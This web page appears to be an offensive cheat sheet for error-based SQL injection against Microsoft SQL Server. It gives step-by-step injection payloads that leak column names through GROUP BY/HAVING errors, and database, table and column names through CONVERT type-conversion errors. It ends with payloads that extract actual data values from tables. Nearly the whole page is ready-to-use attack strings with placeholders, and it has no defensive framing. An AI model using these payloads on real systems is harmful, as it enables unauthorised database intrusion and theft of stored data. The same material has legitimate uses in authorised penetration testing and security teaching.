Skip to content

Error-Based SQLi – Method 2

1. Enumerate table and column names via GROUP BY / HAVING errors

This technique relies on error messages like:

Column '.' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

You start with a simple HAVING clause, then incrementally add columns to the GROUP BY until the error disappears. Each error reveals the next column in <table_name>.

The examples assume your input is injected into a string context like:
... WHERE some_column = '<user_input>'

Enumerate first column name
1' HAVING 1=1 --

Example error output:

Column <table_name>.<column_1_name> is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Enumerate second column name
1' GROUP BY <table_name>.<column_1_name> HAVING 1=1 --

Example error output:

Column <table_name>.<column_2_name> is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Enumerate third column name
1' GROUP BY <table_name>.<column_1_name>, <table_name>.<column_2_name> HAVING 1=1 --

Example error output:

Column <table_name>.<column_3_name> is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Continue adding discovered columns to the GROUP BY list (, <table_name>.<column_3_name>, etc.) until the query no longer throws this error. The last error you see will contain the last undiscovered column name. Once the error stops, you have enumerated all columns involved in the vulnerable query (and you also learn <table_name> from the error text).


2. Enumerate database names using db_name()

This technique forces a type conversion error, leaking database names.

Generated error pattern (example):

[SqlException (0x80131904): Conversion failed when converting the nvarchar value '<database_1_name>' to data type int.]

Enumerate database 1 name
1 AND 1 = CONVERT(INT, db_name(1))--
Enumerate database 2 name
1 AND 1 = CONVERT(INT, db_name(2))--
Enumerate database 3 name
1 AND 1 = CONVERT(INT, db_name(3))--

Increment the argument to db_name(<database_id>) (1, 2, 3, …). Each time, the error message reveals <database_n_name>.


3. Enumerate table names using information_schema.tables

This similarly abuses a conversion error to leak table names.

Generated error pattern:

Conversion failed when converting the nvarchar value '<table_1_name>' to data type int.

Enumerate first table name
1 AND 1 = CONVERT(
    INT,
    (SELECT TOP 1 table_name FROM information_schema.tables)
)--
Enumerate second table name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 table_name
        FROM information_schema.tables
        WHERE table_name NOT IN ('<table_1_name>')
    )
)--
Enumerate third table name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 table_name
        FROM information_schema.tables
        WHERE table_name NOT IN ('<table_1_name>', '<table_2_name>')
    )
)--

Repeat the pattern, adding each discovered <table_n_name> to the NOT IN list to enumerate further tables.


4. Enumerate column names for a specific table using information_schema.columns

Generated error pattern:

Conversion failed when converting the nvarchar value '<column_1_name>' to data type int.

Enumerate first column name for table_1_name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 column_name
        FROM information_schema.columns
        WHERE table_name = '<table_1_name>'
    )
)--
Enumerate second column name for table_1_name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 column_name
        FROM information_schema.columns
        WHERE table_name = '<table_1_name>'
          AND column_name NOT IN ('<column_1_name>')
    )
)--
Enumerate third column name for table_1_name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 column_name
        FROM information_schema.columns
        WHERE table_name = '<table_1_name>'
          AND column_name NOT IN ('<column_1_name>', '<column_2_name>')
    )
)--

Continue adding discovered column names to the NOT IN list ('<column_3_name>', etc.) to enumerate all columns for <table_1_name>.


5. Enumerate data values using known table and column names

Once you know <table_1_name> and <column_1_name>, you can enumerate individual data values.

Generated error pattern:

Conversion failed when converting the nvarchar value '<data_1_value>' to data type int.

Enumerate first data value from column_1_name in table_1_nam>
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 <column_1_name>
        FROM <table_1_name>
    )
)--
Enumerate second data value from column_1_name in table_1_name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 <column_1_name>
        FROM <table_1_name>
        WHERE <column_1_name> NOT IN ('<data_1_value>')
    )
)--
Enumerate third data value from column_1_name in table_1_name
1 AND 1 = CONVERT(
    INT,
    (
        SELECT TOP 1 <column_1_name>
        FROM <table_1_name>
        WHERE <column_1_name> NOT IN ('<data_1_value>', '<data_2_value>')
    )
)--

Repeat this pattern, appending each newly discovered <data_n_value> to the NOT IN list to extract more distinct values from <column_1_name> in <table_1_name>.